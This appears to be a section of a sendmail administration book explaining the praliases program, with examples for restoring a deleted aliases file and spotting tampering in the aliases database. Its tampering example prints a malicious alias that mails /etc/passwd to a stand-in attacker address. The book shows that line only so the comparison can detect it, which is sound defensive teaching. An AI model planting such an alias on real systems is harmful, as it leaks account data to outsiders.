5.6 The praliases Program

The praliases program allows you to view the contents of the aliases database after it is built. The advantage of using praliases (rather than makemap -u) is that praliases reads the sendmail configuration file to find the location and type of the aliases database. As a bonus, praliases prints the contents of all aliases databases. For example, consider a part of your mc configuration file that looks like this:

define(`ALIAS_FILE', `hash:/etc/mail/aliases/users,btree:/etc/mail/aliases/clients')

Here, the /etc/mail/aliases/users.db file will be created by newaliases as a hash-type database, and the file /etc/mail/aliases/clients.db will be created as a btree-type database. If you ran praliases on this setup, it would first print all the aliases in the first file, followed by all the aliases in the second file, correctly detecting the type for each.

The praliases program reads the sendmail.cf file to find the location and types of aliases files. A command-line switch allows you to point to a different configuration file. Another allows you to specify a particular aliases database file. Those switches are outlined in Table 5-7, and explained in the sections that follow.

The output produced by praliases is different from that produced by makemap -u. The praliases program lists the key on the left and data for that key on the right, separated by a colon. Unlike makemap, it does not insert a tab character between the colon and the data:

% praliases
@:@
mailer-daemon:postmaster
sys:root
bin:root
...

Note that when praliases prints the aliases database, it includes the special @:@ entry found in every aliases file. You might have to strip this entry, depending on how you wish to use the output.

5.6.1 Some Examples of Using praliases

One handy application for praliases is to recover your original source text file when it disappears. If, for example, your /etc/mail/aliases file is accidently removed, but your database remains intact as /etc/mail/aliases.db, you can regenerate a new source file with commands such as this one:

# cd /etc/mail
# praliases | sed -e '/^@:@$/d' > aliases
# newaliases

Naturally, such a recovery should never be necessary if your machine is properly backed up, and if you keep your source files under some form of revision control, such as rcs(1).

Another handy application of praliases is to see if someone has slipped something into your aliases database that was not in the original file. Consider the following steps and the result they reveal:

# cd /etc/mail
# praliases | sed -e '/^@:@$/d'| sort > /tmp/a
# makemap hash /tmp/aliases < aliases
# praliases -f /tmp/aliases | sort > /tmp/b
# diff /tmp/a /tmp/b
42d38
> pw:"|cat /etc/passwd|/usr/ucb/mail badguy@bad.domain && exit 0"

Here, we first dump the aliases database and save a copy in /tmp/a. Then we create a database from the aliases source file using makemap instead of newaliases and dump that database with makemap into /tmp/b. A diff reveals that someone has added an entry to the aliases database that did not exist in the aliases source file. That entry is an attempt to steal the system /etc/passwd file whenever the badguy likes.